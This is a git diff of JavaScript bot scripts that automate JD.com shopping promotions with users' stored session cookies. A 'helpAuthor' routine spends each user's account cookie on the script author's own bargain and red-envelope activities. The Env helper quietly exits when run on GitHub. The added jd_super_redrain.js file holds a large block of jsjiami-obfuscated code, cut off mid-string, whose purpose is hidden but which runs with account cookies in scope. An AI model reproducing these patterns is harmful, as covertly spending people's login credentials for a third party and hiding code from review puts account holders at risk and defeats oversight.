{ + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`); + // console.log(`东东超市已改版,目前暂不用助力, 故无助力码`) + // console.log(`\n东东超市商圈助力码::${JSON.stringify(jdSuperMarketShareArr)}`); + // console.log(`您提供了${jdSuperMarketShareArr.length}个账号的助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function getTeam() { + return new Promise(async resolve => { + $.getTeams = []; + $.get({url: `http://jd.turinglabs.net/api/v2/jd/supermarket/read/100000/`, timeout: 100000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} supermarket/read/ API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.getTeams = data && data['data']; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000); + resolve() + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?appid=jdsupermarket&functionId=${function_id}&clientVersion=8.0.0&client=m&body=${encodeURIComponent(JSON.stringify(body))}&t=${Date.now()}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Origin": "https://jdsupermarket.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://jdsupermarket.jd.com/", + "Cookie": cookie + } + } +} +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +//==========================以下是给作者助力 免费拿,省钱大赢家等活动====================== +async function helpAuthor() { + await barGain();//免费拿 + await bigWinner();//省钱大赢家 +} +async function barGain() { + let res = await getAuthorShareCode2('') + if (!res) { + $.http.get({url: ''}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode2('') + } + $.inBargaining = [...(res && res['inBargaining'] || [])] + $.inBargaining = getRandomArrayElements($.inBargaining, $.inBargaining.length > 3 ? 6 : $.inBargaining.length); + for (let item of $.inBargaining) { + if (!item['activityId']) continue; + const options = { + url: `https://api.m.jd.com/client.action`, + headers: { + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://h5.m.jd.com', + 'Accept-Encoding': 'gzip, deflate, br', + 'Cookie': cookie, + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdapp;iPhone;9.4.0;14.3;;network/wifi;ADID/;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone10,3;addressid/;supportBestPay/0;appBuild/167541;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html`, + 'Accept-Language': 'zh-cn', + }, + body: `functionId=cutPriceByUser&body={"activityId": ${item['activityId']},"userName":"","followShop":1,"shopId": ${item['shopId']},"userPic":""}&client=wh5&clientVersion=1.0.0` + }; + await $.post(options, (err, ersp, data) => {}) + } +} + +async function bigWinner() { + let res = await getAuthorShareCode2('') + if (!res) { + $.http.get({url: ''}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode2('') + } + $.codeList = getRandomArrayElements([...(res || [])], [...(res || [])].length); + for (let vo of $.codeList) { + if (!vo['inviter']) continue + await _618(vo['redEnvelopeId'], vo['inviter'], '1'); + await _618(vo['redEnvelopeId'],vo['inviter'], '2') + } +} + +function _618(redEnvelopeId, inviter, helpType = '1', linkId = 'PFbUR7wtwUcQ860Sn8WRfw') { + return new Promise(resolve => { + $.get({ + url: `https://api.m.jd.com/?functionId=openRedEnvelopeInteract&body={%22linkId%22:%22${linkId}%22,%22redEnvelopeId%22:%22${redEnvelopeId}%22,%22inviter%22:%22${inviter}%22,%22helpType%22:%22${helpType}%22}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0`, + headers: { + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'origin': 'https://618redpacket.jd.com', + 'user-agent': 'jdltapp;iPhone;3.5.0;14.2;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;hasOCPay/0;appBuild/1066;supportBestPay/0;pv/7.0;apprpd/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'accept-language': 'zh-cn', + 'referer': `https://618redpacket.jd.com/?activityId=${linkId}&redEnvelopeId=${redEnvelopeId}&inviterId=${inviter}&helpType=1&lng=&lat=&sid=`, + 'Cookie': cookie + } + }, (err, resp, data) => { + resolve() + }) + }) +} +function getAuthorShareCode2(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve(); + }) +} +function getRandomArrayElements(arr, count) { + let shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_super_redrain.js b/jd_super_redrain.js new file mode 100644 index 0000000..38d225b --- /dev/null +++ b/jd_super_redrain.js @@ -0,0 +1,38 @@ +/* +整点京豆雨,每天8*16豆 + +boxjs订阅地址: https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/longzhuzhu.boxjs.json + +环境变量: +# 关闭京豆雨通知 +export RAIN_NOTIFY_CONTROL="false" + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js + +[task_local] +#整点京豆雨 +3 0-23/1 * * * https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_super_redrain.js, tag=整点京豆雨, enabled=true + +================Loon============== +[Script] +cron "3 0-23/1 * * *" script-path=https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_super_redrain.js,tag=整点京豆雨 + +===============Surge================= +整点京豆雨 = type=cron,cronexp="3 0-23/1 * * *",wake-system=1,timeout=20,script-path=https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_super_redrain.js + +============小火箭========= +整点京豆雨= type=cron,script-path=https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_super_redrain.js, cronexpr="3 0-23/1 * * *",timeout=200, enable=true + */ +const $ = new Env('整点京豆雨'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +var _0xodO='jsjiami.com.v6',_0x5e3f=[_0xodO,'JzEtwpgaOg==','YMOYcS/DmA==','w7Aww6NJQsOgSg==','Y8ORTSM=','bQ4Hw6co','Eworwrcj','B2DCunTCvA==','bhstwror','eVcUw5nChA==','w6TDnxDDuRo=','PcKfd23CgQ==','A8Ocw6vCuCc=','QcKtwqbCocOm','w7drw6DDkcOX','wonCvMOmwp1d','BcKmw4PCl0A=','wo/CrnzCmMOA','I8KMZWjCpQ==','c2YWw57Cig==','XMOSwpnCnsOf','UcKTw5woXA==','YzBWPMOk','KMKPaA==','w6xYwqxHw6Y=','RcO/WSjDkQ==','FCDDqsO1w5I=','w5bCi8Knf8KY','wo0NwrHCiMOa','wo1Lw7t5Dg==','d8KCaMKNUQ==','PMKefXfCl2U1wqhFw5I=','5buO6Ya95o615Lmc6L+a5Y64UAnorL7nqKHlk4TphIfor4cT','JkzCjnzCmg==','wohgw7tULw==','V8KxdMK9Zw==','w6MQdg==','bsO8wo7CjcO4H8KSJcOh','P8KLbnDChw==','f8K7wpfClA0=','WMOtwozCo8OT','Ii0GwrIPIRI=','woXCnGw2Fw==','N8Ogw79GZQ==','W8K7wrc8w69rfMOL','w4rDsgnDoi4=','wqLCuGvCg8OA','wo9pw5/DtMKMEXpB','aMKaUkE7Y8Krw6c=','QjM5wrAowrjCrcOz','J8O2w6pzbsOibz4=','cTwWw77CmcKXXw==','ZMK1wps/w4s=','cCtEO8OZ','VBDChBN5','GsKZeXHCrHcbwqI=','w6BVw6suwpzCqA==','w51dw4MDwoQ=','AsO5w5XClwg=','w5tWw5scwo0=','ccOnwpvCocOkCg==','wqHCjVvCncOR','w5powp0Fw53CrcOoOAseQwDDn8K/wph1SMKgw5RKw4tTHAHCrHXCtBRSPcO7LlZ4Z8KEwqUTPylxw7TDsMKhJ8KfEQ9sMMKpwojDhsKMSQs3wq0JC8KX','H8ORw53CsjltOsKIN3Y=','d8K5w4LDq8KM','d8KGw57DisKfCQ==','Mh/Dpw==','fChHwrgFw5kSFBQL','f3wQ','w5fDrw/DiBzCmxg=','wq/CjkPCqsOU','difCoTZTwo1y','w4VSwrMSw6k=','woTDpHpow60=','ZC1RwqQIw5YCFQ8Bw7XClsOLO8KmLzRbwrw=','QgMtw5XCkQ==','YA/CviRW','TMK0w5nDq8KkIirDn8OYQmMlwqRaw7bDtwFmwrk=','YSYmw6QS','asKswoo=','I8OPw5HCpCc=','w6jChsKGbsK2woDDnA==','wqbCm3Y2Lw==','wqh8VsO4wqo=','SxbCoRxr','cEMFw6/CtQ==','woTCgkAHEg==','d8Klw4nDv8Kw','wrY6R8KxCA==','AsOkw71yRQ==','ITrDpitA','w7wKc8OUw5t1woM=','w6BVw6s=','6aCK5Y+s5oqc5Yu077+i6I2t5b+C','IxvDv8Oyw4VaLVZZ','wpnCnyLClAZoBjzCtMKFb8OAwq0=','6aKw5Y665oiI5Ym1772b6Iyv5b+aYQ==','woTDjkQwwr/Ch8KPwrLDtMOVNMO5w4I=','a8OgWyfDm8OGf8K/Ng==','w4RFwphcw53ClXbDsA==','5LmZ5Lus6LWw5YyX','G33Cm13CkwDDqsKh','HMKww6XCgH/DtzPDjA==','Xemjt+WNh+aJgeWKnu+8j+iPi+W+vsOp','w5lfwo1Gw4zCjnvDm8KXPz8bwqI=','P8OFw6fCgRhgDMKuEQ==','UMK1XMK2d8KRBVk=','aMKED8OtDA==','wovDq3J+w7A=','w71Lw5kywr4=','RsKnwrYUw45udA==','6aGz5Yym5aWn6LeF772v5py25Z2F5bac6aGX6Lyx','wo7DqnE=','5byT5bm677+P','VcKxw6IJY8KJOMKAZw==','ekDCpw==','woZ6w5XDr8OOUHNBw7HCucORw4jDuHp0C0Y=','ecKgdMOWFg==','cXcDw6rDqsK4w4fCp8O6WA==','wpTCgCbCjAp5HhrCuMKZdMKDwqHDhMK1QXM0w6jCuzBowrHDiMKhwo/Cmw5rw6DDjcO4fw==','NgHDuH9sLRZNw6dPwqXCpw==','w6/CljjCrFvDpg3ClsK/K8KEXX16IMKlwrwPXBHDvU02w7RwOGtLAMKXZWfClMOlwo8pEcO/QA7DlRzDksO9','w5fDh0UqwrnCgcKfwo/Dv8OvJcKo','wqQ3w7hOVMK5','w4PCrsKWUMKQ','w7Ehw6VDQ8OjRsKCfg==','DnJmwqQpw7JBZ1HCjGDDssKGwppAXWllwqTDqsOKYMOBwq5dwpQ8XGFtGMO5wrfCmw==','RcKTeMKIcg==','wrHDqDfCmsOS','CgE0RFBZeA==','w4JWw605wqA=','ecK6MnJY','w6tfw7g/wofCtzDDrMKyQcOZD0TCszwSw70=','cnMlw6jCvQ==','Litew6kU','dcOpwr/ClsOs','O13CjkLCjA==','aMKGWMKJUg==','w4TClMK+ZsKd','asKYTX04','LikJSlI=','wqhecsOmwqs=','wqgUYMKFN2ZcSMO8TMOQwpLCnRzDisO1wrnCt8KqTcK3w5TCmVErwovDgMKpw7pUDcKGw7wtw6pMwpnDnMO3wolxUcKpwqk5w4sHekM=','fMOrwojCjcOgEcKPOsORw4c=','w5g7wpbCp8KiwqjCqCLDjWkKw77CuS7ClsKywpzDlcKPT8OlwoBwKVrDiwFBBsOtw7DDucKiTMKUw7czwrzDjmM=','wqbDsHYiwp8=','Z8ORUjXDjQ==','w4Ucw4NieMOG','ey9jMcO3','JxnDlcOzw4A=','Jj4XVVE=','SQXCoRlw','wrIFYMKWKzgW','w5JGw5/DocOa','N8O0w7HChQ==','wq9hw5vDmcK1','RcKNbsKzQA==','wqbDgGIiwq0=','w7gafsOvw5c=','44Kc5o+q56a244G66KyZ5YaS6I+i5Y2A5Lmx5Liz6Laa5Y635LiiwrYgGMOiw5/CkkHnmq/mjrrkv5rnloQZwpNTw6vCvV/nmIrkuI/kuqXnr5bliJ/oj77ljqY=','cmYSw6rCtMOjwoTDocOuWHfChMKwCTJ6VcKdRcKQw604','wqZ6TMOLwo4=','wrTDiwLCpsOKWjHCvsKRAloSw6XDtcK0w4nDn3HCkcOUwqPCnsORMcO/XlACdsKPMhY=','w5HDugvDgBTCjBjCisOGwrYTTT0ibsOZQF5/wpZlKxzClsOSwrJYF8KywplQC1Q=','wr/CunDCvcK/G8O0A2gSw55bwqTCh0gDwoA=','wqLCqDTCrsO9','wonDoHNrwqXDv03ClcO4QQ==','woDDlUQ0wqnDj8OZw4/DpsOXMsK7w5xxwp5lw63CoMKNBwVQwrXCt3QYwovCs2Qww5JPGEjCgwQOTcKRwrdKLBEvw4dGYzZc','fz0hE8OCOsKfIkgMwqB6wp07wobCuQkuwolTwqZxSA5ZOMKcWMKww6zCvhfChcOucR9FwqbCiMK6ZhPCqS4=','f8KWwoEW','Ihwnwq4L','Z8KxE8OhLg==','eQ9AK8O3','eBIowoMQ','EgJvw4MY','w43CpnjCtXjCtE3Dl8KtdcKTGSp6dsOqwpJmZwfDrEh2w691cTVWYcObIFHCjMOdwrwVDMK1AHfClUjCk8OywqQJIg04PzjCiArCmg==','bMO3awLDhQ==','X8KbfGQ+','w715w609woM=','wrHCk2DCncOR','TQAcw5cJ','wolCw5pJIA==','ZMOeSA==','RcKGwqPClcOaw73DiMKgw55gw7nDm8K+','WMKHQQ==','f8KowovCmy3DgEXCmXjDocOcYsKm','w4NkwoB0w6s=','wpLClSLChAJuHg==','wqTCq8OowohO','w5V5wp0Rw4/Do8Km','ABzDhiJ1','d8OkRwDDqg==','bcOnwo/CkA==','ZsKfwrnCpxU=','eAdcwqkV','csKIwqfCrxs=','wp/DlgjCnsO5','wofCvMOKwqpd','JcOGw6xvcA==','wohzw4TDqMKL','wpHDtV0Owp0=','TC14MMOV','HnHCgUU=','w5Rzwpsww4/DtMKv','HREzeA==','w5XDpA0=','f8KowovCijvDh0LCgQ==','HcOcw4h5eA==','WgbCuCtT','UcKGUA==','wrjDhVgtwrI=','w6lUw7o=','c3wCw7/Cv8KWw40=','wpbDkiPCgsO6','wqUYfcKB','wpB6w7hnHg==','PcKGdHnCtA==','wow7wpDCusOJ','bCFwL8OB','YjbCpztcwp56wpgr','wp/CqcOY','wobDgF0h','b8KrTErorJXmsZTlpYfot6LvvK3orYDmo53mn4/nvbDotKzphZHorJE=','wqHCoGU6MQ==','Hz3DgyRm','TcKaY3sA','wpFhw47DrMKH','dcK2w70JZg==','RmZkwrcc','HGfCtFnCugjDqQ==','BsOmw6/CiQA=','wq4XesKPFA==','BcKlw7TCsV4=','wrLDswLCvcOt','RsKITcKvTQ==','asOnWw3Dvw==','wpvCmTXCiy17Egs=','ZMKMw6bDiMKR','w7XCmsKEZ8K9','w6HCisKRYcK5wpXDkAM=','wrfDtnNpw4bDv0zCmQ==','XMKxwpHCqcOi','GA0MwpwA','w6ZKwrBjw7A=','5LmF5paa6b6I54yc8LKQo+S/t+WDne+/jeaZn+eqmuS5temFkeKar++5ie+8vOaVqOaVteWEneafj++8g1Lli4vlvrDpvrjnjo/luqPnpbHnporms7Hpm4oLwqQHw4vDmgtNw4Fbw4vDn8KnGMOhwo3DmMOxwpp7w6kXK3s8ew==','fyvCtjl8wph+wps=','wpUTccKHCj0eAg==','w5VOw4sYwqI=','ZsKHDXhC','w5fCgH7Co1k=','wrMUZsKcKjsaAcOt','GXvCnw==','HcKoZ3roroLmsYDlp7fotqfvv4boravmo4LmnLfnvoHotITphKnor5Y=','5Lic5LqW5p225YiN5ZiV6Ly75Zqn56qE5pef5o63','5pam5rKf5LuT5p635Z2e6K255Y2e6YeN576g77yn6K2l5qGz5py56L6D6KCo5pah6Ze5','e2JnwqQn','SQkjw5zCuQ==','w4gFw5JkbA==','wp/CqcOYwr5IBg==','H8O2w6g=','IcKLcWY=','UcKDLcOEOQ==','GMKEZnDCmA==','wpcObsKGPg==','QcKowqEGw4Y=','wrnDlBU=','ORDDvDQ=','L8Oo5aWo6LaQWcKw5Y+Q5ZiTwojDng==','wqbCpQbCpTFFLS/CmMK4RcO+wovCqA==','wpPDmQTCk8Op','OBPDuzRidw==','WMKuR2o8','wrfDtWNow5w=','T2ITw6nCkw==','b1dZwqMC','ccORTDXDjQ==','TMKYDMOHLA==','aMK2w6Axew==','w6PCjMKV','5p2e5Z616YeC572vcsORQ2FP','wrTCr34=','5Lqi5Lm25p2m5YiR5Zi36Ky+6ZSh5paK5o+f5Liy56ib77616K+r5qK/5p6M6IaB6Luu6K6l5aWt576k57qn5oKQ5YSw','5LuO6Kax5Zyow6LCsWQ7e+aKvuWIiuWkquWKlOezpui0qOS9q+aUo3zCky7Cli86','wrMUZsKcKjs=','fDZ6wq0F','AEPCrV/Cmw==','w4tGwpovw6U=','wq1Gw6dCOQ==','RMOQwp3Co8Oc','YMK4wpXCr8ON','IsOyw5dtUA==','wrHDnRHCocOA','wrvDgU5Pw6c=','wrHDvE5Pw50=','wrzDlRbCr8ObdjY=','wpDDoGZ3w6nDvUQ=','cCkKw7vCjA==','fcKnworCpcO7w4vDvw==','w5hzwoAb','wqwFesKSMDQ=','E8Ofw5PClCA=','GDbDtMONw6A=','WMKMwq3CmcOl','RRl6wpkjw6o=','AsOww7xp','TmNlwqAPw7RUKGXCizHCsQ==','cH0Pw7Q=','wrFVcMOMwr9/FA==','wrNRcsOTwrs=','NQwPX1g=','fcKQw5HDn8Ky','ZcKvHVJ3','SsKqw7c=','JMKww6c=','HTY+wqUg','w5hDwp4=','w5tRwpRX','w7PCunjCvUM=','w6YMX8O4w5B0','PBTDqCI=','L8Ksw7LCt1DDtTY=','wpF1w4/Dtw==','TX98','HTXD